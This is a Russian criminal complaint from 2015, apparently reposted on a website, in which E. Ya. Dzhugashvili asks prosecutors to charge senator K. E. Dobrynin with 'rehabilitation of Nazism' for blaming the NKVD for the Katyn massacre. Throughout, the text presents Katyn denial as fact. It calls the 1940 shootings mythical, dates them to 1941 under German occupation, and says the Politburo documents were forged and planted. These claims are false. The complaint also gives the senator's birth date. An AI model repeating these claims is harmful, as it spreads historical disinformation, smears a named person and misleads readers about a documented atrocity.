Заведомая ложность распространенных гражданином Добрыниным К.Э. сведений о мифическом расстреле военнопленных польских офицеров, якобы совершённом военнослужащими НКВД СССР в Катынском лесу в 1940 г. подтверждается, в частности, решением Тверского районного суда города Москвы от 14 февраля 2012 г. по гражданскому делу № 2-400/2012.
Данным судебным решением период расстрела польских офицеров – «... сентябрь 1941 г. …» – был установлен в качестве общеизвестного обстоятельства, не нуждающегося в доказывании. Поскольку в сентябре 1941 г. польских офицеров в оккупированном германскими войсками районе Катыни могли расстрелять только военнослужащие нацистской Германии, то Тверской районный суд гор. Москвы своим решением от 14 февраля 2012 г. опосредованно установил факт невиновности СССР в Катынском преступлении (приложение № 11).
Помимо решения Тверского районного суда города Москвы от 14 февраля 2012 г. по гражданскому делу № 2-400/2012, заведомая ложность распространенных гражданином Добрыниным К. Э. сведений подтверждается следующими обстоятельствами:
- Гражданин Добрынин К. Э., будучи дипломированным юристом, не мог не знать, что согласно ст. 49 Конституции РФ, виновность любого лица в совершении того или иного преступления устанавливается только и исключительно вступившим в законную силу приговором суда – а вовсе не тенденциозными политическими заявлениями информационных агентств, органов законодательной власти, сотрудников прокуратуры или государственных чиновников.
- Гражданин Добрынин К. Э., являясь членом Совета Федерации, не мог не знать, что официальная правовая позиция Российской Федерации по Катынскому делу сформулирована не в вышеупомянутых тенденциозных политических заявлениях, а в постановлении Главной военной прокуратуры о прекращении «катынского» уголовного дела № 159 от 21 сентября 2004 г. и в меморандумах Уполномоченного представителя РФ при Европейском суде по правам человека по делу «Яновец и другие против России». Он также не мог не знать, что согласно официальной правовой позиции России по Катынскому делу, по результатам 14-летнего расследования уголовного дела № 159 не

найдено никаких документальных доказательств факта расстрела 14.542 польских военнопленных на территории СССР весной 1940 года, а уголовное дело №159 в части обвинения в убийстве польских военнопленных прекращено по основаниям п. 1 ч. 1 ст. 24 УПК РФ – «за отсутствием события преступления». И что согласно официальной правовой позиции России по Катынскому делу, из 14.542 «катынских» польских военнопленных, якобы расстрелянных весной 1940 года, 14.520 военнопленных в правовом отношении считаются пропавшими без вести.
- Гражданин Добрынин К. Э., в силу своего служебного положения, не мог не знать, что ещё в 2010 году ныне покойный депутат Государственной Думы В. И. Илюхин в ходе своего расследования истинных обстоятельств Катынского дела выяснил, что так называемые «документальные доказательства» вины СССР в мифическом расстреле польских граждан, якобы совершенном сотрудниками НКВД СССР весной 1940 г., были умышленно сфальсифицированы и негласно подброшены в Архив Президента СССР в 1991 году. (Согласно наиболее обоснованной версии, подложные документы «закрытого пакета №1» Политбюро ЦК КПСС по «проблеме Катыни» были сфабрикованы группой фальсификаторов под руководством начальника Института военной истории Министерства обороны СССР генерал-полковника Волкогонова Д. А. и подброшены в Архив Президента СССР через заведующего Общим отделом ЦК КПСС генерал-майора КГБ Лаптева П. П.) (приложения №№ 11-1, 11-2, 11-3, 11-4, 11-5, 11-6).
В том числе, в силу своего служебного положения, гражданин Добрынин К. Э. не мог не знать, что перед обсуждением Заявления Государственной думы ФС РФ от 26 ноября 2010 г. «О Катынской трагедии и ее жертвах» В. И. Илюхин официально распространил среди депутатов Государственной думы оригинал черновика подложного «письма Берии №794/Б» с рабочими пометками исполнителей подделки, лично предоставленный В. И. Илюхину непосредственным участником этой фальсификации (приложение № 12), предъявил депутатам набор различных оригинальных клише, с помощью которых на подложные документы «закрытого пакета №1» фальсификаторами наносились поддельные оттиски печатей и штампов (приложение № 13), продемонстрировал листы писчей бумаги формата А4 с тридцатью одним образцом поддельных подписей В. М. Молотова, М. И. Калинина, Л. П. Берия и И. В. Сталина, собственноручно нанесенных в присутствии В. И. Илюхина в разных вариантах исполнения на эти листы бумаги исполнителем фальшивок цветными карандашами для
доказательства наличия у него феноменальных криминальных способностей (приложение № 14), а также ознакомил депутатов с экспертными  заключениями криминалистов, из которых следует, что подложное «письмо Берии №794/Б» исполнено на двух разных пишущих машинках (приложение № 15), а подписи Л. П. Берия и оттиски круглой гербовой печати на широко известном «Генеральном соглашении о сотрудничестве взаимопомощи, совместной деятельности между НКВД и ГЕСТАПО от 11 ноября 1938 г.», оригинальные листы которого были предоставлены В. И. Илюхину непосредственным исполнителем подделки в комплекте с черновиком подложного «письма Берии №794/Б», являются поддельными (приложения № 16).
- Гражданин Добрынин К. Э., в силу своего служебного положения, не мог не знать, что «Заключение комиссии экспертов ГВП от 2 августа 1993 г.», упомянутое им в качестве «правового доказательства» его правовой позиции по Катынскому делу, в 2004 г. было официально исключено из числа доказательств по «катынскому» уголовному делу №159, как составленное с грубейшими нарушениями норм уголовно-процессуального закона, по
причине чего не может порождать никаких правовых последствий.
- Кроме того, в силу своего служебного положения, гражданин Добрынин К. Э. не мог не знать, что согласно меморандуму Российской Федерации в Большую Палату Европейского суда по правам человека от 17 января 2013 г. по делу «Яновец и другие против России», польские граждане из «украинского катынского списка», якобы расстрелянные сотрудниками НКВД СССР в апреле-мае 1940 г. в Киеве, Харькове и Херсоне, и тогда же якобы захороненные в киевской Быковне, на самом деле весной 1940 г. Никем расстреляны не были, а продолжали и позднее этого срока содержаться под
стражей в тюрьмах Одессы, Днепропетровска и Нежина.
- Гражданин Добрынин К. Э., в силу всех вышеперечисленных обстоятельств, также не мог не знать, что согласно заведомо подлинной, неоднократно опубликованной в открытых источниках и широко известной общественности «Справки о количестве осужденных по делам органов НКВД-МГБ-МВД за 1939-1953 годы» от 11 декабря 1953 г., на всей территории СССР за весь 1940 год было осуждено к ВМН 1.649 человек, что
очевидно свидетельствует о подложности сведений относительно расстрела весной 1940 г. на территории СССР сотрудниками НКВД 14.542 или, тем более, 21.857 польских граждан (приложение № 17).
Тем не менее, гражданин Добрынин К. Э., во исполнение своего преступного замысла, направленного на реабилитацию нацизма, умышленно использовал в качестве «правовых доказательств» мифического расстрела военнопленных польских офицеров, якобы совершенного весной 1940 г.сотрудниками НКВД СССР в Катынском лесу близ Смоленска, заведомо подложные документы «закрытого пакета №1» по «проблеме Катыни» (в том числе, подложное «письмо Берии №794/Б»), заведомо юридически ничтожное «Заключение комиссии экспертов ГВП от 2 августа 1993 г.» и заведомо
юридически ничтожные тенденциозные политические заявления информационных агентств, органов законодательной власти, сотрудников прокуратуры и государственных чиновников.
Умышленное использование гражданином Добрыниным К. Э. в качестве «правовых доказательств» искусственно созданной им совокупности заведомо подложных документов и заведомо юридически ничтожных тенденциозных политических заявлений подтверждает наличие у него заранее разработанного преступного плана, направленного на реабилитацию нацизма, осознанный характер его действий по отрицанию фактов, установленных Международным военным трибуналом, и осознанный характер его действий по распространению заведомо ложных сведений о деятельности СССР в годы Второй мировой войны.
Отягчающими обстоятельствами противоправного деяния, совершенного гражданином Добрыниным К. Э., являются:
- совершение им преступления по мотивам политической вражды к сторонникам И. В. Сталина, членам довоенного состава Политбюро ЦК ВКП(б) и руководителям НКВД СССР периода 1940-41 гг., в частности, к Л.П. Берия и В. Н. Меркулову (п. «е» ч. 1 ст. 63 УК РФ). По мнению гражданина Добрынина, члены Политбюро ЦК ВКП(б) 5 марта 1940 г. На основании «письма Берии №794/Б» на имя «тов. И. В. Сталина», приняли
заведомо преступное политическое «…решение о расстреле военнопленных:

бывших польских офицеров, чиновников, помещиков, полицейских, разведчиков, жандармов, осадников и тюремщиков», а сотрудники НКВД СССР под руководством «…Берии, Меркулова и их подчиненных» это преступное политическое решение исполнили в Катыни весной 1940 г.
- совершение им преступления с использованием доверия, оказанного виновному в силу его служебного положения (п. «м» ч. 1 ст. 63 УК РФ).
Гражданин Добрынин К. Э. является членом Совета Федерации Федерального Собрания Российской Федерации, представителем от исполнительного органа государственной власти Архангельской области, заместителем председателя Комитета Совета Федерации по конституционному законодательству и государственному строительству.
Именно в силу авторитета своего служебного положения, гражданину Добрынину К. Э. удаётся втираться в доверие к журналистам и регулярно выступать в средствах массовой информации, в том числе, с целью реализации своего преступного замысла, направленного на реабилитацию нацизма. И именно из-за занимаемого гражданином
Добрыниным К. Э. высокого служебного положения его клевете люди верят.
В связи с вышеизложенным и на основании статьи 448 УПК РФ, прошу принять меры к возбуждению уголовного дела по признакам деяний, предусмотренных пунктами 1 и 2 статьи 354.1 УК РФ «Реабилитация нацизма», и к привлечению гражданина Добрынина Константина Эдуардовича, 23 ноября 1976 г. р., к уголовной ответственности за публичное, с использование своего служебного положения, с использованием средств массовой информации и с искусственным созданием доказательств обвинения, отрицание фактов, установленных приговором Международного военного трибунала для суда и наказания главных военных преступников европейских стран оси, и публичное распространение заведомо ложных сведений о деятельности СССР в годы Второй мировой войны.

Меня, Джугашвили Евгения Яковлевича, внука Сталина Иосифа Виссарионовича, прошу признать потерпевшим по данному уголовном делу.

Приложения:
1. Скриншот авторского материала «Сенатор Добрынин предлагает привлечь внука Сталина за ложный донос в отношении профессора Фельдмана» из интернет-газеты «Фонтанка.Ру» – 1 лист.
2. Скриншоты анонимного текста «Внук Сталина и его ложный донос» из персонального блога Константина Добрынина в «Живом Журнале» – 4 листа.
3. Устав Международного военного трибунала – 7 листов.
4. Регламент Международного военного трибунала – 5 листов.
5. Обвинительное заключение МВТ по пункту (С) «Убийства и жестокое обращение с военнопленными» раздела III «Военные преступления» – 2 листа.
6. Копия архивной справки ГА РФ № 12259-Т о подсудимых Международного военного трибунала, обвиняемых в Катынском преступлении – 3 листа.
7. «Объяснения представителя истца» от 14 февраля 2012 г. по гражданскому делу Тверского районного суда г. Москвы № 2-400/2012 – 7 листов.
8. «Сравнительная таблица эпизодов…» от 28.11.2010 г. – 5 листов.
9. Формулировка виновности Германа Геринга в приговоре МВТ – 4 листа
10. Формулировка виновности Альфреда Йодля в приговоре МВТ – 4 листа
11. Копия решения Тверского районного суда г. Москвы от 14 февраля 2012 г. по
гражданскому делу № 2-400/2012 – 7 листов.
11-1. Скан письма депутата Государственной Думы ФС РФ Илюхина В. И. Президенту РФ Медведеву Д. А. от 22.04.2010 – 4 листа.
11-2. Копии писем депутата Государственной Думы ФС РФ Илюхина В. И. председателю фракции КПРФ в Государственной Думе ФС РФ Зюганову Г. А. от 26 и 28 мая 2010 г. – 5 листов.
11-3. Письмо депутата Государственной Думы ФС РФ Илюхина В. И. Президенту РФ Медведеву Д. А от 23 июня 2010 г. – 2 листа.
11-4. Заявление Президиума ЦК КПРФ «С фальсификациями советской истории необходимо покончить!» от 19 октября 2010 г. – 3 листа.
11-5. Письмо депутата Государственной Думы ФС РФ Илюхина В. И. Президенту РФ Медведеву Д. А. от 24 ноября 2010 г. – 2 листа.
11-6. Письмо депутата Государственной Думы ФС РФ Илюхина В. И. Председателю Правительства РФ Путину В. В. от 24 ноября 2010 г. – 1 лист.
12. Копия сопроводительного письма депутата Государственной Думы ФС РФ Илюхина В. И. Председателю Государственной Думы ФС РФ Грызлову Б. В. от 24 ноября 2010 г. с приложением сканов черновика подложного «письма Берии №794/Б» с рабочими пометками исполнителей фальсификации –5 листов.
13. Фотографии набора различных оригинальных клише, с помощью которых
фальсификаторами наносились поддельные оттиски штампов и печатей – 1 лист
14. Сканы листов бумаги формата А4 с демонстрационными образцами поддельных подписей Л.П.Берия и членов Политбюро ЦК ВКП(б) – 3 листов.
15. Скан «Заключения специалиста № 016/07-И от 31 марта 2009 г.» – 12 листов
16. Скан «Справки об исследовании № 5197 от 07.06.2010 г.» – 16 листов.
17. Скан «Справки о количестве осужденных по делам органов НКВД-МГБ-МВД за 1939-1953 годы» от 11 декабря 1953 г. – 1 лист
18. Компакт-диск с видеозаписями публичных выступлений депутата В. И.
Илюхина в Государственной Думе ФС РФ 3.06, 15.06. и 26.11.2010 г. – 1 шт.
19. Установочные данные на гражданина Добрынина К. Э. – 2 листа.

Заявитель: _________________ Е. Я. Джугашвили
Москва, 9 апреля 2015 г.

 

 

Отправить комментарий

Содержание этого поля является приватным и не предназначено к показу.
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Разрешённые HTML-теги: <img> <a> <em> <i> <strong> <b> <u> <strike> <p> <br> <ul> <ol> <li> <div> <blockquote>
  • Строки и параграфы переносятся автоматически.

Подробнее о форматировании текста

CAPTCHA
Проверка, что Вы не робот
CAPTCHA на основе изображений
Введите символы, которые показаны на картинке.